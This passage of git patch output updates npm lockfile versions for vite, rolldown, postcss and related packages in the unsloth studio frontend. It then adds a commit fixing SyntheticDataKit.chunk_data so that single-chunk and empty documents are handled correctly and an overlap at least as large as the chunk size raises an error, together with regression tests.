-      "resolved": "https://registry.npmjs.org/@rolldown/binding-freebsd-x64/-/binding-freebsd-x64-1.0.0-rc.17.tgz",
-      "integrity": "sha512-hwnz3nw9dbJ05EDO/PvcjaaewqqDy7Y1rn1UO81l8iIK1GjenME75dl16ajbvSSMfv66WXSRCYKIqfgq2KCfxw==",
+      "version": "1.0.3",
+      "resolved": "https://registry.npmjs.org/@rolldown/binding-freebsd-x64/-/binding-freebsd-x64-1.0.3.tgz",
+      "integrity": "sha512-yB1IlAsSNHncV6SCTL27/MVGR5htvQsoGxIv5KMGXALp+Ll1wYsn+x98M9MW7qa+NdSbvrrY7ANI4wLJ0n1e6g==",
       "cpu": [
         "x64"
       ],
@@ -5647,9 +5647,9 @@
       }
     },
     "node_modules/@rolldown/binding-linux-arm-gnueabihf": {
-      "version": "1.0.0-rc.17",
-      "resolved": "https://registry.npmjs.org/@rolldown/binding-linux-arm-gnueabihf/-/binding-linux-arm-gnueabihf-1.0.0-rc.17.tgz",
-      "integrity": "sha512-IS+W7epTcwANmFSQFrS1SivEXHtl1JtuQA9wlxrZTcNi6mx+FDOYrakGevvvTwgj2JvWiK8B29/qD9BELZPyXQ==",
+      "version": "1.0.3",
+      "resolved": "https://registry.npmjs.org/@rolldown/binding-linux-arm-gnueabihf/-/binding-linux-arm-gnueabihf-1.0.3.tgz",
+      "integrity": "sha512-Yi30IVAAfLUCy2MseFjbB1jAMDl1VMCAas5StnYp8da9+CKvMd2H2cbEjWcw5NPaPqzvYkVIaF1nNUG+b7u/sw==",
       "cpu": [
         "arm"
       ],
@@ -5663,12 +5663,15 @@
       }
     },
     "node_modules/@rolldown/binding-linux-arm64-gnu": {
-      "version": "1.0.0-rc.17",
-      "resolved": "https://registry.npmjs.org/@rolldown/binding-linux-arm64-gnu/-/binding-linux-arm64-gnu-1.0.0-rc.17.tgz",
-      "integrity": "sha512-e6usGaHKW5BMNZOymS1UcEYGowQMWcgZ71Z17Sl/h2+ZziNJ1a9n3Zvcz6LdRyIW5572wBCTH/Z+bKuZouGk9Q==",
+      "version": "1.0.3",
+      "resolved": "https://registry.npmjs.org/@rolldown/binding-linux-arm64-gnu/-/binding-linux-arm64-gnu-1.0.3.tgz",
+      "integrity": "sha512-jsO7R8To+AdlYgUmN5sHSCZbfhtMBkO0WUx8iORQnPcMMdgr7qM2DQmMwgabs3GhNztdmoKkMKQFHD6DTMCIQw==",
       "cpu": [
         "arm64"
       ],
+      "libc": [
+        "glibc"
+      ],
       "license": "MIT",
       "optional": true,
       "os": [
@@ -5679,12 +5682,15 @@
       }
     },
     "node_modules/@rolldown/binding-linux-arm64-musl": {
-      "version": "1.0.0-rc.17",
-      "resolved": "https://registry.npmjs.org/@rolldown/binding-linux-arm64-musl/-/binding-linux-arm64-musl-1.0.0-rc.17.tgz",
-      "integrity": "sha512-b/CgbwAJpmrRLp02RPfhbudf5tZnN9nsPWK82znefso832etkem8H7FSZwxrOI9djcdTP7U6YfNhbRnh7djErg==",
+      "version": "1.0.3",
+      "resolved": "https://registry.npmjs.org/@rolldown/binding-linux-arm64-musl/-/binding-linux-arm64-musl-1.0.3.tgz",
+      "integrity": "sha512-VWkUHwWriDciit80wleYwKILoR/KMvxh/IdwS/paX+ZgpuRpCrKLUdadJbc0NpBEiyhpYawsJ73j9aCvOH+f7Q==",
       "cpu": [
         "arm64"
       ],
+      "libc": [
+        "musl"
+      ],
       "license": "MIT",
       "optional": true,
       "os": [
@@ -5695,12 +5701,15 @@
       }
     },
     "node_modules/@rolldown/binding-linux-ppc64-gnu": {
-      "version": "1.0.0-rc.17",
-      "resolved": "https://registry.npmjs.org/@rolldown/binding-linux-ppc64-gnu/-/binding-linux-ppc64-gnu-1.0.0-rc.17.tgz",
-      "integrity": "sha512-4EII1iNGRUN5WwGbF/kOh/EIkoDN9HsupgLQoXfY+D1oyJm7/F4t5PYU5n8SWZgG0FEwakyM8pGgwcBYruGTlA==",
+      "version": "1.0.3",
+      "resolved": "https://registry.npmjs.org/@rolldown/binding-linux-ppc64-gnu/-/binding-linux-ppc64-gnu-1.0.3.tgz",
+      "integrity": "sha512-5f1laC0SlIR0yDbFCd8acUhvJIag6N3zC5P7oUPN6wX0aOma+uKJ0wBDH5aq7I1PVI2ttTlhJwzwRIBnLiSGEg==",
       "cpu": [
         "ppc64"
       ],
+      "libc": [
+        "glibc"
+      ],
       "license": "MIT",
       "optional": true,
       "os": [
@@ -5711,12 +5720,15 @@
       }
     },
     "node_modules/@rolldown/binding-linux-s390x-gnu": {
-      "version": "1.0.0-rc.17",
-      "resolved": "https://registry.npmjs.org/@rolldown/binding-linux-s390x-gnu/-/binding-linux-s390x-gnu-1.0.0-rc.17.tgz",
-      "integrity": "sha512-AH8oq3XqQo4IibpVXvPeLDI5pzkpYn0WiZAfT05kFzoJ6tQNzwRdDYQ45M8I/gslbodRZwW8uxLhbSBbkv96rA==",
+      "version": "1.0.3",
+      "resolved": "https://registry.npmjs.org/@rolldown/binding-linux-s390x-gnu/-/binding-linux-s390x-gnu-1.0.3.tgz",
+      "integrity": "sha512-Iq4ko0r4XsgbrF/LunNgHtAGLRRVE2kXonAXQ/MV0mC6jQpMOhW1SvtZja2EhC/kd05++bP78dsqBeIQyYJ6Yg==",
       "cpu": [
         "s390x"
       ],
+      "libc": [
+        "glibc"
+      ],
       "license": "MIT",
       "optional": true,
       "os": [
@@ -5727,12 +5739,15 @@
       }
     },
     "node_modules/@rolldown/binding-linux-x64-gnu": {
-      "version": "1.0.0-rc.17",
-      "resolved": "https://registry.npmjs.org/@rolldown/binding-linux-x64-gnu/-/binding-linux-x64-gnu-1.0.0-rc.17.tgz",
-      "integrity": "sha512-cLnjV3xfo7KslbU41Z7z8BH/E1y5mzUYzAqih1d1MDaIGZRCMqTijqLv76/P7fyHuvUcfGsIpqCdddbxLLK9rA==",
+      "version": "1.0.3",
+      "resolved": "https://registry.npmjs.org/@rolldown/binding-linux-x64-gnu/-/binding-linux-x64-gnu-1.0.3.tgz",
+      "integrity": "sha512-B8m6tD5+/N5FeNQFbKlLA/2yVq9ycQP1SeedyEYYKWBNR3ZQbkvIUcNnDNM03lO1l5F2roiiFJGgvoLLyZXtSg==",
       "cpu": [
         "x64"
       ],
+      "libc": [
+        "glibc"
+      ],
       "license": "MIT",
       "optional": true,
       "os": [
@@ -5743,12 +5758,15 @@
       }
     },
     "node_modules/@rolldown/binding-linux-x64-musl": {
-      "version": "1.0.0-rc.17",
-      "resolved": "https://registry.npmjs.org/@rolldown/binding-linux-x64-musl/-/binding-linux-x64-musl-1.0.0-rc.17.tgz",
-      "integrity": "sha512-0phclDw1spsL7dUB37sIARuis2tAgomCJXAHZlpt8PXZ4Ba0dRP1e+66lsRqrfhISeN9bEGNjQs+T/Fbd7oYGw==",
+      "version": "1.0.3",
+      "resolved": "https://registry.npmjs.org/@rolldown/binding-linux-x64-musl/-/binding-linux-x64-musl-1.0.3.tgz",
+      "integrity": "sha512-pSdpdUJHkuCxun9LE7jvgUB9qsRgaiyNNCX7m/AvHTcq67AiT/Yhoxvw5zPfhrM8k/BfP8ce/hMOpthKDpEUow==",
       "cpu": [
         "x64"
       ],
+      "libc": [
+        "musl"
+      ],
       "license": "MIT",
       "optional": true,
       "os": [
@@ -5759,9 +5777,9 @@
       }
     },
     "node_modules/@rolldown/binding-openharmony-arm64": {
-      "version": "1.0.0-rc.17",
-      "resolved": "https://registry.npmjs.org/@rolldown/binding-openharmony-arm64/-/binding-openharmony-arm64-1.0.0-rc.17.tgz",
-      "integrity": "sha512-0ag/hEgXOwgw4t8QyQvUCxvEg+V0KBcA6YuOx9g0r02MprutRF5dyljgm3EmR02O292UX7UeS6HzWHAl6KgyhA==",
+      "version": "1.0.3",
+      "resolved": "https://registry.npmjs.org/@rolldown/binding-openharmony-arm64/-/binding-openharmony-arm64-1.0.3.tgz",
+      "integrity": "sha512-OXXS3RKJgX2uLwM+gYyuH5omcH8fL1LJs96pZGgtetVCahON57+d4SJHzTgZiOjxgGkSnpXpOsWuPDGAKAigEg==",
       "cpu": [
         "arm64"
       ],
@@ -5775,9 +5793,9 @@
       }
     },
     "node_modules/@rolldown/binding-wasm32-wasi": {
-      "version": "1.0.0-rc.17",
-      "resolved": "https://registry.npmjs.org/@rolldown/binding-wasm32-wasi/-/binding-wasm32-wasi-1.0.0-rc.17.tgz",
-      "integrity": "sha512-LEXei6vo0E5wTGwpkJ4KoT3OZJRnglwldt5ziLzOlc6qqb55z4tWNq2A+PFqCJuvWWdP53CVhG1Z9NtToDPJrA==",
+      "version": "1.0.3",
+      "resolved": "https://registry.npmjs.org/@rolldown/binding-wasm32-wasi/-/binding-wasm32-wasi-1.0.3.tgz",
+      "integrity": "sha512-JTtb8BWFynicNSoPrehsCzBtOKjZ6jhMiPFEmOiuXg1Fl8dn2KHQob+GuPSGR0dryQa1PQJbzjF3dqO/whhjLg==",
       "cpu": [
         "wasm32"
       ],
@@ -5793,9 +5811,9 @@
       }
     },
     "node_modules/@rolldown/binding-win32-arm64-msvc": {
-      "version": "1.0.0-rc.17",
-      "resolved": "https://registry.npmjs.org/@rolldown/binding-win32-arm64-msvc/-/binding-win32-arm64-msvc-1.0.0-rc.17.tgz",
-      "integrity": "sha512-gUmyzBl3SPMa6hrqFUth9sVfcLBlYsbMzBx5PlexMroZStgzGqlZ26pYG89rBb45Mnia+oil6YAIFeEWGWhoZA==",
+      "version": "1.0.3",
+      "resolved": "https://registry.npmjs.org/@rolldown/binding-win32-arm64-msvc/-/binding-win32-arm64-msvc-1.0.3.tgz",
+      "integrity": "sha512-gEdFFEN70A/jxb2svrWsN3aDL7OUtmvlOy+6fa2jxG8K0wQ1ZbdeLGnidov6Yu5/733dI5ySfzFlQ/cb0bSz1g==",
       "cpu": [
         "arm64"
       ],
@@ -5809,9 +5827,9 @@
       }
     },
     "node_modules/@rolldown/binding-win32-x64-msvc": {
-      "version": "1.0.0-rc.17",
-      "resolved": "https://registry.npmjs.org/@rolldown/binding-win32-x64-msvc/-/binding-win32-x64-msvc-1.0.0-rc.17.tgz",
-      "integrity": "sha512-3hkiolcUAvPB9FLb3UZdfjVVNWherN1f/skkGWJP/fgSQhYUZpSIRr0/I8ZK9TkF3F7kxvJAk0+IcKvPHk9qQg==",
+      "version": "1.0.3",
+      "resolved": "https://registry.npmjs.org/@rolldown/binding-win32-x64-msvc/-/binding-win32-x64-msvc-1.0.3.tgz",
+      "integrity": "sha512-eXB7CHuaQdqmJcc3koCNtNPmT/bj2gc999kUFgBxG8Ac0NdgXc4rkCHhqrgrhN3zddvvvrgzj1e90SuSfmyIXA==",
       "cpu": [
         "x64"
       ],
@@ -13091,6 +13109,34 @@
         "points-on-curve": "0.2.0"
       }
     },
+    "node_modules/postcss": {
+      "version": "8.5.15",
+      "resolved": "https://registry.npmjs.org/postcss/-/postcss-8.5.15.tgz",
+      "integrity": "sha512-FfR8sjd4em2T6fb3I2MwAJU7HWVMr9zba+enmQeeWFfCbm+UOC/0X4DS8XtpUTMwWMGbjKYP7xjfNekzyGmB3A==",
+      "funding": [
+        {
+          "type": "opencollective",
+          "url": "https://opencollective.com/postcss/"
+        },
+        {
+          "type": "tidelift",
+          "url": "https://tidelift.com/funding/github/npm/postcss"
+        },
+        {
+          "type": "github",
+          "url": "https://github.com/sponsors/ai"
+        }
+      ],
+      "license": "MIT",
+      "dependencies": {
+        "nanoid": "^3.3.12",
+        "picocolors": "^1.1.1",
+        "source-map-js": "^1.2.1"
+      },
+      "engines": {
+        "node": "^10 || ^12 || >=14"
+      }
+    },
     "node_modules/postcss-selector-parser": {
       "version": "7.1.1",
       "resolved": "https://registry.npmjs.org/postcss-selector-parser/-/postcss-selector-parser-7.1.1.tgz",
@@ -13104,6 +13150,24 @@
         "node": ">=4"
       }
     },
+    "node_modules/postcss/node_modules/nanoid": {
+      "version": "3.3.12",
+      "resolved": "https://registry.npmjs.org/nanoid/-/nanoid-3.3.12.tgz",
+      "integrity": "sha512-ZB9RH/39qpq5Vu6Y+NmUaFhQR6pp+M2Xt76XBnEwDaGcVAqhlvxrl3B2bKS5D3NH3QR76v3aSrKaF/Kiy7lEtQ==",
+      "funding": [
+        {
+          "type": "github",
+          "url": "https://github.com/sponsors/ai"
+        }
+      ],
+      "license": "MIT",
+      "bin": {
+        "nanoid": "bin/nanoid.cjs"
+      },
+      "engines": {
+        "node": "^10 || ^12 || ^13.7 || ^14 || >=15.0.1"
+      }
+    },
     "node_modules/powershell-utils": {
       "version": "0.1.0",
       "resolved": "https://registry.npmjs.org/powershell-utils/-/powershell-utils-0.1.0.tgz",
@@ -13977,13 +14041,13 @@
       "license": "Unlicense"
     },
     "node_modules/rolldown": {
-      "version": "1.0.0-rc.17",
-      "resolved": "https://registry.npmjs.org/rolldown/-/rolldown-1.0.0-rc.17.tgz",
-      "integrity": "sha512-ZrT53oAKrtA4+YtBWPQbtPOxIbVDbxT0orcYERKd63VJTF13zPcgXTvD4843L8pcsI7M6MErt8QtON6lrB9tyA==",
+      "version": "1.0.3",
+      "resolved": "https://registry.npmjs.org/rolldown/-/rolldown-1.0.3.tgz",
+      "integrity": "sha512-i00lAJ2ks1BYr7rjNjKC7BcqAS7nVfiT3QX1SI5aY+AFHblCmaUf9OE9dbdzDvW6dJxbi2ZCZiy9v3CcwOiX3g==",
       "license": "MIT",
       "dependencies": {
-        "@oxc-project/types": "=0.127.0",
-        "@rolldown/pluginutils": "1.0.0-rc.17"
+        "@oxc-project/types": "=0.133.0",
+        "@rolldown/pluginutils": "^1.0.0"
       },
       "bin": {
         "rolldown": "bin/cli.mjs"
@@ -13992,27 +14056,27 @@
         "node": "^20.19.0 || >=22.12.0"
       },
       "optionalDependencies": {
-        "@rolldown/binding-android-arm64": "1.0.0-rc.17",
-        "@rolldown/binding-darwin-arm64": "1.0.0-rc.17",
-        "@rolldown/binding-darwin-x64": "1.0.0-rc.17",
-        "@rolldown/binding-freebsd-x64": "1.0.0-rc.17",
-        "@rolldown/binding-linux-arm-gnueabihf": "1.0.0-rc.17",
-        "@rolldown/binding-linux-arm64-gnu": "1.0.0-rc.17",
-        "@rolldown/binding-linux-arm64-musl": "1.0.0-rc.17",
-        "@rolldown/binding-linux-ppc64-gnu": "1.0.0-rc.17",
-        "@rolldown/binding-linux-s390x-gnu": "1.0.0-rc.17",
-        "@rolldown/binding-linux-x64-gnu": "1.0.0-rc.17",
-        "@rolldown/binding-linux-x64-musl": "1.0.0-rc.17",
-        "@rolldown/binding-openharmony-arm64": "1.0.0-rc.17",
-        "@rolldown/binding-wasm32-wasi": "1.0.0-rc.17",
-        "@rolldown/binding-win32-arm64-msvc": "1.0.0-rc.17",
-        "@rolldown/binding-win32-x64-msvc": "1.0.0-rc.17"
+        "@rolldown/binding-android-arm64": "1.0.3",
+        "@rolldown/binding-darwin-arm64": "1.0.3",
+        "@rolldown/binding-darwin-x64": "1.0.3",
+        "@rolldown/binding-freebsd-x64": "1.0.3",
+        "@rolldown/binding-linux-arm-gnueabihf": "1.0.3",
+        "@rolldown/binding-linux-arm64-gnu": "1.0.3",
+        "@rolldown/binding-linux-arm64-musl": "1.0.3",
+        "@rolldown/binding-linux-ppc64-gnu": "1.0.3",
+        "@rolldown/binding-linux-s390x-gnu": "1.0.3",
+        "@rolldown/binding-linux-x64-gnu": "1.0.3",
+        "@rolldown/binding-linux-x64-musl": "1.0.3",
+        "@rolldown/binding-openharmony-arm64": "1.0.3",
+        "@rolldown/binding-wasm32-wasi": "1.0.3",
+        "@rolldown/binding-win32-arm64-msvc": "1.0.3",
+        "@rolldown/binding-win32-x64-msvc": "1.0.3"
       }
     },
     "node_modules/rolldown/node_modules/@rolldown/pluginutils": {
-      "version": "1.0.0-rc.17",
-      "resolved": "https://registry.npmjs.org/@rolldown/pluginutils/-/pluginutils-1.0.0-rc.17.tgz",
-      "integrity": "sha512-n8iosDOt6Ig1UhJ2AYqoIhHWh/isz0xpicHTzpKBeotdVsTEcxsSA/i3EVM7gQAj0rU27OLAxCjzlj15IWY7bg==",
+      "version": "1.0.1",
+      "resolved": "https://registry.npmjs.org/@rolldown/pluginutils/-/pluginutils-1.0.1.tgz",
+      "integrity": "sha512-2j9bGt5Jh8hj+vPtgzPtl72j0yRxHAyumoo6TNfAjsLB04UtpSvPbPcDcBMxz7n+9CYB0c1GxQFxYRg2jimqGw==",
       "license": "MIT"
     },
     "node_modules/roughjs": {
@@ -14275,52 +14339,6 @@
         "node": ">=20"
       }
     },
-    "node_modules/shadcn/node_modules/nanoid": {
-      "version": "3.3.12",
-      "resolved": "https://registry.npmjs.org/nanoid/-/nanoid-3.3.12.tgz",
-      "integrity": "sha512-ZB9RH/39qpq5Vu6Y+NmUaFhQR6pp+M2Xt76XBnEwDaGcVAqhlvxrl3B2bKS5D3NH3QR76v3aSrKaF/Kiy7lEtQ==",
-      "funding": [
-        {
-          "type": "github",
-          "url": "https://github.com/sponsors/ai"
-        }
-      ],
-      "license": "MIT",
-      "bin": {
-        "nanoid": "bin/nanoid.cjs"
-      },
-      "engines": {
-        "node": "^10 || ^12 || ^13.7 || ^14 || >=15.0.1"
-      }
-    },
-    "node_modules/shadcn/node_modules/postcss": {
-      "version": "8.5.14",
-      "resolved": "https://registry.npmjs.org/postcss/-/postcss-8.5.14.tgz",
-      "integrity": "sha512-SoSL4+OSEtR99LHFZQiJLkT59C5B1amGO1NzTwj7TT1qCUgUO6hxOvzkOYxD+vMrXBM3XJIKzokoERdqQq/Zmg==",
-      "funding": [
-        {
-          "type": "opencollective",
-          "url": "https://opencollective.com/postcss/"
-        },
-        {
-          "type": "tidelift",
-          "url": "https://tidelift.com/funding/github/npm/postcss"
-        },
-        {
-          "type": "github",
-          "url": "https://github.com/sponsors/ai"
-        }
-      ],
-      "license": "MIT",
-      "dependencies": {
-        "nanoid": "^3.3.11",
-        "picocolors": "^1.1.1",
-        "source-map-js": "^1.2.1"
-      },
-      "engines": {
-        "node": "^10 || ^12 || >=14"
-      }
-    },
     "node_modules/shadcn/node_modules/zod": {
       "version": "3.25.76",
       "resolved": "https://registry.npmjs.org/zod/-/zod-3.25.76.tgz",
@@ -14786,9 +14804,9 @@
       }
     },
     "node_modules/tinyglobby": {
-      "version": "0.2.16",
-      "resolved": "https://registry.npmjs.org/tinyglobby/-/tinyglobby-0.2.16.tgz",
-      "integrity": "sha512-pn99VhoACYR8nFHhxqix+uvsbXineAasWm5ojXoN8xEwK5Kd3/TrhNn1wByuD52UxWRLy8pu+kRMniEi6Eq9Zg==",
+      "version": "0.2.17",
+      "resolved": "https://registry.npmjs.org/tinyglobby/-/tinyglobby-0.2.17.tgz",
+      "integrity": "sha512-wXR/dYpcqKmfWpEdZjiKJOwCNFndD0DMnrW/cYjVGttEkBfVgcLFHoNrlj47mjOVic9yyNu65alsgF4NQyTa2g==",
       "license": "MIT",
       "dependencies": {
         "fdir": "^6.5.0",
@@ -15456,16 +15474,16 @@
       }
     },
     "node_modules/vite": {
-      "version": "8.0.10",
-      "resolved": "https://registry.npmjs.org/vite/-/vite-8.0.10.tgz",
-      "integrity": "sha512-rZuUu9j6J5uotLDs+cAA4O5H4K1SfPliUlQwqa6YEwSrWDZzP4rhm00oJR5snMewjxF5V/K3D4kctsUTsIU9Mw==",
+      "version": "8.0.16",
+      "resolved": "https://registry.npmjs.org/vite/-/vite-8.0.16.tgz",
+      "integrity": "sha512-h9bXPmJichP5fLmVQo3PyaGSDE2n3aPuomeAlVRm0JLmt4rY6zmPKd59HYI4LNW8oTK7tlTsuC7l/m7awx9Jcw==",
       "license": "MIT",
       "dependencies": {
         "lightningcss": "^1.32.0",
         "picomatch": "^4.0.4",
-        "postcss": "^8.5.10",
-        "rolldown": "1.0.0-rc.17",
-        "tinyglobby": "^0.2.16"
+        "postcss": "^8.5.15",
+        "rolldown": "1.0.3",
+        "tinyglobby": "^0.2.17"
       },
       "bin": {
         "vite": "bin/vite.js"
@@ -15481,7 +15499,7 @@
       },
       "peerDependencies": {
         "@types/node": "^20.19.0 || >=22.12.0",
-        "@vitejs/devtools": "^0.1.0",
+        "@vitejs/devtools": "^0.1.18",
         "esbuild": "^0.27.0 || ^0.28.0",
         "jiti": ">=1.21.0",
         "less": "^4.0.0",
@@ -15546,52 +15564,6 @@
         "node": "^8.16.0 || ^10.6.0 || >=11.0.0"
       }
     },
-    "node_modules/vite/node_modules/nanoid": {
-      "version": "3.3.12",
-      "resolved": "https://registry.npmjs.org/nanoid/-/nanoid-3.3.12.tgz",
-      "integrity": "sha512-ZB9RH/39qpq5Vu6Y+NmUaFhQR6pp+M2Xt76XBnEwDaGcVAqhlvxrl3B2bKS5D3NH3QR76v3aSrKaF/Kiy7lEtQ==",
-      "funding": [
-        {
-          "type": "github",
-          "url": "https://github.com/sponsors/ai"
-        }
-      ],
-      "license": "MIT",
-      "bin": {
-        "nanoid": "bin/nanoid.cjs"
-      },
-      "engines": {
-        "node": "^10 || ^12 || ^13.7 || ^14 || >=15.0.1"
-      }
-    },
-    "node_modules/vite/node_modules/postcss": {
-      "version": "8.5.14",
-      "resolved": "https://registry.npmjs.org/postcss/-/postcss-8.5.14.tgz",
-      "integrity": "sha512-SoSL4+OSEtR99LHFZQiJLkT59C5B1amGO1NzTwj7TT1qCUgUO6hxOvzkOYxD+vMrXBM3XJIKzokoERdqQq/Zmg==",
-      "funding": [
-        {
-          "type": "opencollective",
-          "url": "https://opencollective.com/postcss/"
-        },
-        {
-          "type": "tidelift",
-          "url": "https://tidelift.com/funding/github/npm/postcss"
-        },
-        {
-          "type": "github",
-          "url": "https://github.com/sponsors/ai"
-        }
-      ],
-      "license": "MIT",
-      "dependencies": {
-        "nanoid": "^3.3.11",
-        "picocolors": "^1.1.1",
-        "source-map-js": "^1.2.1"
-      },
-      "engines": {
-        "node": "^10 || ^12 || >=14"
-      }
-    },
     "node_modules/warning": {
       "version": "4.0.3",
       "resolved": "https://registry.npmjs.org/warning/-/warning-4.0.3.tgz",
diff --git a/studio/frontend/package.json b/studio/frontend/package.json
index c49b62ab50..0956c710f5 100644
--- a/studio/frontend/package.json
+++ b/studio/frontend/package.json
@@ -107,7 +107,7 @@
     "globals": "^17.4.0",
     "typescript": "~5.9.3",
     "typescript-eslint": "^8.55.0",
-    "vite": "^8.0.1"
+    "vite": "^8.0.16"
   },
   "allowScripts": {
     "@biomejs/biome@1.9.4": true,

From 7dc08572672ddfefee949511df9fa4d243a3e803 Mon Sep 17 00:00:00 2001
From: Vineeth Sai <vineethsai4444@gmail.com>
Date: Tue, 23 Jun 2026 12:39:38 -0700
Subject: [PATCH 081/306] Fix SyntheticDataKit.chunk_data dropping single-chunk
 documents (#6595)

* Fix SyntheticDataKit.chunk_data dropping single-chunk documents

chunk_data turns the n boundary points from np.linspace into n-1 ranges
via the boundaries[:-1] / [1:] pairing. When a document fits in a single
chunk (n_chunks == 1) that produces zero ranges, so the loop writes no
files and the whole document is silently dropped. Emit the full
[0, length] range when n_chunks <= 1; the multi-chunk path is unchanged.

Added a regression test covering the single-chunk and multi-chunk cases.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* chunk_data: emit nothing for an empty document (no empty chunk file)

Addresses review feedback: when the input document is empty (length == 0),
return no chunks instead of writing a single empty chunk file. Added a
regression test for the empty-document case.

* chunk_data: reject overlap >= chunk size (non-positive stride)

Per review feedback: when overlap >= max_tokens the chunk stride is
non-positive, which would divide by zero or silently emit one oversized
chunk. Raise a clear RuntimeError for that unusable configuration. Added
a regression test.

* Broaden single-chunk guard to length <= max_tokens (also fixes sub-overlap docs); expand tests

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

---------

Co-authored-by: oobabooga <112222186+oobabooga@users.noreply.github.com>
---
 tests/test_synthetic_chunk_data.py | 113 +++++++++++++++++++++++++++++
 unsloth/dataprep/synthetic.py      |  26 ++++++-
 2 files changed, 135 insertions(+), 4 deletions(-)
 create mode 100644 tests/test_synthetic_chunk_data.py

diff --git a/tests/test_synthetic_chunk_data.py b/tests/test_synthetic_chunk_data.py
new file mode 100644
index 0000000000..b9167d214f
--- /dev/null
+++ b/tests/test_synthetic_chunk_data.py
@@ -0,0 +1,113 @@
+#!/usr/bin/env python3
+"""Regression tests for SyntheticDataKit.chunk_data: short-document handling and overlap validation."""
+
+import os
+import tempfile
+from types import SimpleNamespace
+
+from unsloth.dataprep.synthetic import SyntheticDataKit
+
+
+class _MockTokenizer:
+    def __call__(
+        self,
+        text,
+        add_special_tokens = False,
+    ):
+        return SimpleNamespace(input_ids = list(range(len(text.split()))))
+
+    def decode(self, token_ids):
+        return " ".join(f"w{i}" for i in token_ids)
+
+
+def _make_kit(
+    max_seq_length = 2048,
+    max_generation_tokens = 512,
+    overlap = 64,
+):
+    kit = SyntheticDataKit.__new__(SyntheticDataKit)
+    kit.tokenizer = _MockTokenizer()
+    kit.max_seq_length = max_seq_length
+    kit.max_generation_tokens = max_generation_tokens
+    kit.overlap = overlap
+    return kit
+
+
+def _chunk(text, kit = None):
+    """Returns (chunk_filenames, chunk_contents); reads content before cleanup."""
+    if kit is None:
+        kit = _make_kit()
+    with tempfile.NamedTemporaryFile("w", suffix = ".txt", delete = False) as f:
+        f.write(text)
+        path = f.name
+    created = []
+    try:
+        created = kit.chunk_data(filename = path)
+        contents = []
+        for fn in created:
+            with open(fn, encoding = "utf-8") as fh:
+                contents.append(fh.read())
+        return list(created), contents
+    finally:
+        os.unlink(path)
+        for fn in created:
+            if os.path.exists(fn):
+                os.unlink(fn)
+
+
+def test_chunk_data_keeps_single_chunk_document():
+    # A short document fits in one chunk (n_chunks == 1) and must still produce
+    # one output file rather than silently vanishing.
+    out, contents = _chunk("word " * 50)
+    assert len(out) == 1, f"single-chunk doc should yield 1 file, got {len(out)}"
+    assert contents[0] != "", "the chunk file must contain the document text"
+
+
+def test_chunk_data_still_splits_long_document():
+    # A long document (n_chunks > 1) must still produce multiple chunks.
+    out, _ = _chunk("word " * 5000)
+    assert len(out) > 1, f"long doc should yield multiple chunks, got {len(out)}"
+
+
+def test_chunk_data_empty_document_yields_no_chunks():
+    # An empty document must not produce an (empty) chunk file.
+    out, _ = _chunk("")
+    assert out == [], f"empty doc should yield no files, got {len(out)}"
+
+
+def test_chunk_data_short_document_is_not_split_into_fragments():
+    # A document shorter than the overlap previously reached the multi-chunk path
+    # (n_chunks >= 3) where linspace produced negative start indices, slicing the
+    # wrong tail tokens. It must be emitted as one chunk covering the whole document.
+    kit = _make_kit(max_seq_length = 2048, max_generation_tokens = 920, overlap = 64)  # max_tokens = 80
+    out, contents = _chunk("word " * 50, kit = kit)  # 50 tokens < overlap (would be 4 chunks)
+    assert len(out) == 1, f"sub-overlap doc should yield 1 chunk, got {len(out)}"
+    assert contents[0].split() == [
+        f"w{i}" for i in range(50)
+    ], f"chunk must cover the whole document, not a fragment; got: {contents[0]!r}"
+
+
+def test_chunk_data_rejects_overlap_not_smaller_than_chunk():
+    # If overlap >= chunk size the stride is non-positive, which would divide by zero
+    # or emit one oversized chunk. The config must be rejected with a clear error.
+    kit = _make_kit(max_seq_length = 2048, max_generation_tokens = 950, overlap = 64)  # max_tokens = 20
+    with tempfile.NamedTemporaryFile("w", suffix = ".txt", delete = False) as f:
+        f.write("word " * 50)
+        path = f.name
+    try:
+        try:
+            kit.chunk_data(filename = path)
+            raise AssertionError("expected RuntimeError when overlap >= chunk size")
+        except RuntimeError as e:
+            assert "overlap" in str(e), f"error should mention overlap, got: {e}"
+    finally:
+        os.unlink(path)
+
+
+if __name__ == "__main__":
+    test_chunk_data_keeps_single_chunk_document()
+    test_chunk_data_still_splits_long_document()
+    test_chunk_data_empty_document_yields_no_chunks()
+    test_chunk_data_short_document_is_not_split_into_fragments()
+    test_chunk_data_rejects_overlap_not_smaller_than_chunk()
+    print("OK")
diff --git a/unsloth/dataprep/synthetic.py b/unsloth/dataprep/synthetic.py
index 90021c0c8d..10690810fe 100644
--- a/unsloth/dataprep/synthetic.py
+++ b/unsloth/dataprep/synthetic.py
@@ -403,14 +403,32 @@ class SyntheticDataKit:
         )  # -128 to reduce errors
         if max_tokens <= 5:
             raise RuntimeError("Generation length is way too long!")
+        if max_tokens <= self.overlap:
+            # A non-positive stride (max_tokens - overlap) makes the n_chunks
+            # computation below divide by zero or go negative, so reject it.
+            raise RuntimeError(
+                f"The chunk size (max_seq_length - 2 * max_generation_tokens - 128 = "
+                f"{max_tokens}) must be larger than the overlap ({self.overlap}). "
+                f"Reduce overlap or max_generation_tokens."
+            )
         input_ids = self.tokenizer(text, add_special_tokens = False).input_ids
 
         # Get left and right boundaries
         length = len(input_ids)
-        n_chunks = int(np.ceil(length / (max_tokens - self.overlap)))
-        boundaries = np.ceil(np.linspace(0, length - self.overlap, n_chunks)).astype(int)
-        boundaries = np.stack((boundaries[:-1], (boundaries + self.overlap)[1:])).T
-        boundaries = np.minimum(boundaries, length).tolist()
+        if length <= max_tokens:
+            # The whole document fits in one chunk window, so emit it as a single
+            # chunk. Routing it through the multi-chunk path below would drop it
+            # (the linspace/stack pairing emits one fewer range than boundary
+            # points) or, for a document shorter than the overlap, slice the wrong
+            # tokens via negative start indices. Empty doc -> no chunk.
+            boundaries = [[0, length]] if length > 0 else []
+        else:
+            # length > max_tokens > overlap here, so length - overlap > 0 and the
+            # linspace boundaries below are always non-negative.
+            n_chunks = int(np.ceil(length / (max_tokens - self.overlap)))
+            boundaries = np.ceil(np.linspace(0, length - self.overlap, n_chunks)).astype(int)
+            boundaries = np.stack((boundaries[:-1], (boundaries + self.overlap)[1:])).T
+            boundaries = np.minimum(boundaries, length).tolist()
 
         filename, extension = os.path.splitext(filename)
         if filename.endswith("/"):

